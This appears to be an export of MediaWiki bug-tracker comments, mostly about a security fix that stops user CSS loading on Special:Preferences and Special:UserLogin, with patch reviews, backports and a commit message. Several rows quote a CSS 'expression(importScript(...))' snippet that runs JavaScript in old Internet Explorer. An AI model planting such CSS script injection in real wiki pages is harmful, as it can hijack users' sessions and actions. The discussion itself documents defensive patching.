325587,User specified CSS loads on Special:Preferences / Special:UserLogin,Tried Kunals test in all branches and it works.,,,1412195374,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-40,True,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,1.0,Tried Kunals test in all branches and it works.
325583,User specified CSS loads on Special:Preferences / Special:UserLogin,"(In reply to Markus Glaser from comment #13)
> Created attachment 16619 [details]
> Backport to REL1_19
> 
> MediaWiki 1.19 is still running... I found not exact way to reproduce the
> exploit, so I can't really say if the patch fixes the issue. I'd be
> extremely happy if someone else could have a look at the patch and confirm
> it works. Also, I have packported the deprecation notices. Not sure if that
> makes sense. If not, I will provide another patch without these notices.
> Please advise.

Tested 1.19 patch, and it's working fine.

**Attached**: {F14957}",,,1412173617,,PHID-USER-ozio6hmebkfdrn7rqxr2,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,6.0,20.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.02,0.6,"(In reply to Markus Glaser from comment #13)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Tested 1.19 patch, and it's working fine.

**Attached**: {F14957}"
325577,User specified CSS loads on Special:Preferences / Special:UserLogin,Giving early access to Wikia,,,1412122570,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-40,True,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,4.8,1.0,Giving early access to Wikia
325571,User specified CSS loads on Special:Preferences / Special:UserLogin,"(In reply to Markus Glaser from comment #10)
> Just to make sure: I assume this is deployed on the WMF servers already?

Yes.

(In reply to Markus Glaser from comment #11)
> MediaWiki 1.23 is still running... I found not exact way to reproduce the
> exploit, so I can't really say if the patch fixes the issue. I'd be
> extremely happy if someone else could have a look at the patch and confirm
> it works. Also, I have packported the deprecation notices. Not sure if that
> makes sense. If not, I will provide another patch without these notices.
> Please advise.

To test it, add ""body { background-color: red }"" to your MediaWiki:Common.css. Note that your pages now have a red background. Visit Special:Preferences and/or Special:UserLogin. The red background should disappear if the patch is present and working.",,,1411955993,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,True,,,-40,True,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,11.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,1.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,1.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,26.0,2.0,2.0,3.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,3.0,11.0,16.0,0.0,2.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.627659574468085,0.5851063829787234,"(In reply to Markus Glaser from comment #10)
QUOTE

Yes.

(In reply to Markus Glaser from comment #11)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

To test it, add ""body { background-color: red }"" to your MediaWiki:Common.css. Note that your pages now have a red background. Visit Special:Preferences and/or Special:UserLogin. The red background should disappear if the patch is present and working."
325568,User specified CSS loads on Special:Preferences / Special:UserLogin,"Created attachment 16619
Backport to REL1_19

MediaWiki 1.19 is still running... I found not exact way to reproduce the exploit, so I can't really say if the patch fixes the issue. I'd be extremely happy if someone else could have a look at the patch and confirm it works. Also, I have packported the deprecation notices. Not sure if that makes sense. If not, I will provide another patch without these notices. Please advise.

**Attached**: {F14957}",,,1411946353,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-40,True,0.0,1.0,1.0,0.0,4.0,3.0,1.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,9.0,9.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,5.0,4.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,6.0,2.0,15.0,5.0,1.0,9.0,0.0,0.0,0.0,0.0,7.0,1.0,2.0,0.0,7.0,9.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.857142857142857,0.7244897959183674,"Created attachment 16619
Backport to REL1_19

MediaWiki 1.19 is still running... I found not exact way to reproduce the exploit, so I can't really say if the patch fixes the issue. I'd be extremely happy if someone else could have a look at the patch and confirm it works. Also, I have packported the deprecation notices. Not sure if that makes sense. If not, I will provide another patch without these notices. Please advise.

**Attached**: {F14957}"
325565,User specified CSS loads on Special:Preferences / Special:UserLogin,"Created attachment 16618
Backport to REL1_22

MediaWiki 1.22 is still running... I found not exact way to reproduce the exploit, so I can't really say if the patch fixes the issue. I'd be extremely happy if someone else could have a look at the patch and confirm it works. Also, I have packported the deprecation notices. Not sure if that makes sense. If not, I will provide another patch without these notices. Please advise.

**Attached**: {F14955}",,,1411946315,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-40,True,0.0,1.0,1.0,0.0,4.0,3.0,1.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,9.0,9.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,5.0,4.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,6.0,2.0,15.0,5.0,1.0,9.0,0.0,0.0,0.0,0.0,7.0,1.0,2.0,0.0,6.0,9.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.857142857142857,0.7244897959183674,"Created attachment 16618
Backport to REL1_22

MediaWiki 1.22 is still running... I found not exact way to reproduce the exploit, so I can't really say if the patch fixes the issue. I'd be extremely happy if someone else could have a look at the patch and confirm it works. Also, I have packported the deprecation notices. Not sure if that makes sense. If not, I will provide another patch without these notices. Please advise.

**Attached**: {F14955}"
325561,User specified CSS loads on Special:Preferences / Special:UserLogin,"Created attachment 16617
Backport for REL1_23

MediaWiki 1.23 is still running... I found not exact way to reproduce the exploit, so I can't really say if the patch fixes the issue. I'd be extremely happy if someone else could have a look at the patch and confirm it works. Also, I have packported the deprecation notices. Not sure if that makes sense. If not, I will provide another patch without these notices. Please advise.

**Attached**: {F14954}",,,1411946275,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-40,True,0.0,1.0,1.0,0.0,4.0,3.0,1.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,9.0,9.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,5.0,4.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,6.0,2.0,15.0,5.0,1.0,9.0,0.0,0.0,0.0,0.0,7.0,1.0,2.0,0.0,6.0,9.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.86734693877551,0.7346938775510204,"Created attachment 16617
Backport for REL1_23

MediaWiki 1.23 is still running... I found not exact way to reproduce the exploit, so I can't really say if the patch fixes the issue. I'd be extremely happy if someone else could have a look at the patch and confirm it works. Also, I have packported the deprecation notices. Not sure if that makes sense. If not, I will provide another patch without these notices. Please advise.

**Attached**: {F14954}"
325556,User specified CSS loads on Special:Preferences / Special:UserLogin,Just to make sure: I assume this is deployed on the WMF servers already?,,,1411929367,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-40,True,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,19.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6875,1.0,Just to make sure: I assume this is deployed on the WMF servers already?
325553,User specified CSS loads on Special:Preferences / Special:UserLogin,"Given the above breakage, we should probably get these patches out before the next monthly maintenance release.",,,1411681207,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,True,,,-40,True,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.9473684210526315,"Given the above breakage, we should probably get these patches out before the next monthly maintenance release."
325550,User specified CSS loads on Special:Preferences / Special:UserLogin,This bug not being public caused bug 71334 today.,,,1411680878,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,True,,,-40,True,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,30.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.1,0.9,This bug not being public caused bug 71334 today.
325547,User specified CSS loads on Special:Preferences / Special:UserLogin,"The patch is working for me, and fixes the issue. I think lego's comments should be done in a public patch, to keep the security one small.

I'll get this deployed.",,,1410894199,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,8.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,8.0,8.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.4615384615384617,0.8461538461538461,"The patch is working for me, and fixes the issue. I think lego's comments should be done in a public patch, to keep the security one small.

I'll get this deployed."
325542,User specified CSS loads on Special:Preferences / Special:UserLogin,"Tested, patch works fine so +1.

Nitpicks (not sure if these should be done as the original security patch or after it's public...):

* We should deprecate disallowUserJs and create a disallowUserModules
* OutputPage::filterModules and makeResourceLoaderLink shouldn't pass $type to getAllowedModules",,,1410479181,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,2.0,4.0,8.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,10.0,8.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,8.0,2.0,6.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0576923076923075,0.8846153846153846,"Tested, patch works fine so +1.

Nitpicks (not sure if these should be done as the original security patch or after it's public...):

* We should deprecate disallowUserJs and create a disallowUserModules
* OutputPage::filterModules and makeResourceLoaderLink shouldn't pass $type to getAllowedModules"
325536,User specified CSS loads on Special:Preferences / Special:UserLogin,"(In reply to Krinkle from comment #4)
> Created attachment 16447 [details]
> Proposed patch

Commit message
-------

OutputPage: Remove separation of css and js module allowance

* No longer segment module origin allowance by an ""only="" content
  type. Both can be sensitive security-wise and there's no valid
  use case for allowing CSS anywhere you want to disallow JS. Both
  can significantly impact the user interface and cause unintended
  actions to be taken on the user's behalf, or desired actions to
  be made practically impossible.

* While at it, also remove the ability to set the module allowance
  directly. The reduceAllowedModuleOrigin method is all we need.
  I couldn't find usage or mention of setAllowedModules() in
  mediawiki-core nor in any other Wikimedia-hosted repository.

Bug: 70672
-------

**Attached**: {F14952}",,,1410477312,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,True,,,-42,True,1.0,0.0,0.0,1.0,0.5,3.5,1.0,0.0,0.0,0.0,1.5,0.5,0.0,0.5,0.5,1.0,0.0,4.5,8.5,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,2.0,0.5,0.5,1.5,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5,2.0,10.0,0.5,3.0,6.0,0.0,0.0,0.0,0.5,6.0,0.0,1.0,0.0,2.0,8.5,4.0,0.0,1.0,0.0,2.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,4.069767441860465,0.7732558139534884,"(In reply to Krinkle from comment #4)
QUOTE
QUOTE

Commit message
-------

OutputPage: Remove separation of css and js module allowance

* No longer segment module origin allowance by an ""only="" content
  type. Both can be sensitive security-wise and there's no valid
  use case for allowing CSS anywhere you want to disallow JS. Both
  can significantly impact the user interface and cause unintended
  actions to be taken on the user's behalf, or desired actions to
  be made practically impossible.

* While at it, also remove the ability to set the module allowance
  directly. The reduceAllowedModuleOrigin method is all we need.
  I couldn't find usage or mention of setAllowedModules() in
  mediawiki-core nor in any other Wikimedia-hosted repository.

Bug: 70672
-------

**Attached**: {F14952}"
325528,User specified CSS loads on Special:Preferences / Special:UserLogin,"Created attachment 16447
Proposed patch

**Attached**: {F14952}",,,1410477293,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6875,0.8125,"Created attachment 16447
Proposed patch

**Attached**: {F14952}"
325519,User specified CSS loads on Special:Preferences / Special:UserLogin,"Aside from IE's non-standard way of executing code, there's also unlimited ways of tricking the user into performing actions by manipulating the interface from CSS (which then results in the unintended execution of otherwise trusted *server-side* code).

When ResourceLoader was given an ""origin"" marker, this was designed to apply to a module. Not to scripts only.

I believe disallowUserJs predates ResourceLoader and might just generally have an unfortunate name (legacy aside), and should imho disallow userCss as well.",,,1410475116,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,2.0,1.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.5,1.0,1.0,9.5,7.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.5,2.0,6.0,0.5,2.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,7.0,3.0,0.0,2.0,0.0,1.0,0.0,1.0,3.0,0.0,2.0,0.0,0.0,0.0,4.436274509803921,0.8117647058823529,"Aside from IE's non-standard way of executing code, there's also unlimited ways of tricking the user into performing actions by manipulating the interface from CSS (which then results in the unintended execution of otherwise trusted *server-side* code).

When ResourceLoader was given an ""origin"" marker, this was designed to apply to a module. Not to scripts only.

I believe disallowUserJs predates ResourceLoader and might just generally have an unfortunate name (legacy aside), and should imho disallow userCss as well."
325511,User specified CSS loads on Special:Preferences / Special:UserLogin,"(In reply to Helder from comment #1)
> According to
> https://bugzilla.wikimedia.org/show_bug.cgi?id=48931#c3
> in IE in quirks mode you can also execute javascript using CSS:
> .mw-special-Preferences {
>  color:expression(importScript(""...""));
> }

There are several ways to execute javascript from css. I would prefer we didn't allow it.",,,1410387298,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,True,,,-43,True,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,5.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,7.0,12.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.380952380952381,0.6904761904761905,"(In reply to Helder from comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

There are several ways to execute javascript from css. I would prefer we didn't allow it."
426813,User specified CSS loads on Special:Preferences / Special:UserLogin,"According to
https://bugzilla.wikimedia.org/show_bug.cgi?id=48931#c3
in IE in quirks mode you can also execute javascript using CSS:
```
.mw-special-Preferences {
 color:expression(importScript(""...""));
}
```",,,1426504876,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,3.2083333333333335,0.75,"According to
URL
in IE in quirks mode you can also execute javascript using CSS:
``CODE``"
325505,User specified CSS loads on Special:Preferences / Special:UserLogin,"According to
https://bugzilla.wikimedia.org/show_bug.cgi?id=48931#c3
in IE in quirks mode you can also execute javascript using CSS:
.mw-special-Preferences {
 color:expression(importScript(""...""));
}",,,1410374812,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-43,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,8.0,5.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,3.5526315789473686,0.7894736842105263,"According to
URL
in IE in quirks mode you can also execute javascript using CSS:
.mw-special-Preferences {
 color:expression(importScript(""...""));
}"
72666,Fatal exception of type MWException on Special:CentralLogin,"I was on
https://bugzilla.wikimedia.org/show_bug.cgi?id=68521
and clicked in the link [[Special:UserLogin]] which appears in the bug title. This loaded a page like
https://en.wikipedia.org/wiki/Special:CentralLogin/complete?token=<some token>
which was a mostly blank page, containing just this:
[99330200] 2014-09-10 17:57:56: Fatal exception of type MWException

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1410372000,1410372058.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-j3cgog2vjixso7muysak,task_description,resolved,True,c3,1,False,False,True,-43,True,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,12.0,0.0,1.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,6.0,2.0,0.0,0.0,0.0,1.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,4.0,3.55,0.6375,"I was on
URL
and clicked in the link [[Special:UserLogin]] which appears in the bug title. This loaded a page like
URL token>
which was a mostly blank page, containing just this:
[99330200] 2014-09-10 17:57:56: Fatal exception of type MWException

--------------------------
**Version**: unspecified
**Severity**: normal"
325280,Fatal exception of type MWException on Special:CentralLogin,-> please comment on bug 69834 if it's still an issue,,,1410386613,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-j3cgog2vjixso7muysak,task_subcomment,,True,c3,1,True,,,-43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,3.3076923076923075,1.0,-> please comment on bug 69834 if it's still an issue
325273,Fatal exception of type MWException on Special:CentralLogin,"The error disappeared after reloading the page change, and then I got
""The provided authentication token is either expired or invalid.""
but the error happened again when I clicked in the link from the other bug:
[d7f6cf79] 2014-09-10 18:00:46: Fatal exception of type MWException",,,1410372113,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-j3cgog2vjixso7muysak,task_subcomment,,True,c3,1,False,,,-43,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,10.0,2.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,7.0,0.0,0.0,3.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,4.0508474576271185,0.8135593220338984,"The error disappeared after reloading the page change, and then I got
""The provided authentication token is either expired or invalid.""
but the error happened again when I clicked in the link from the other bug:
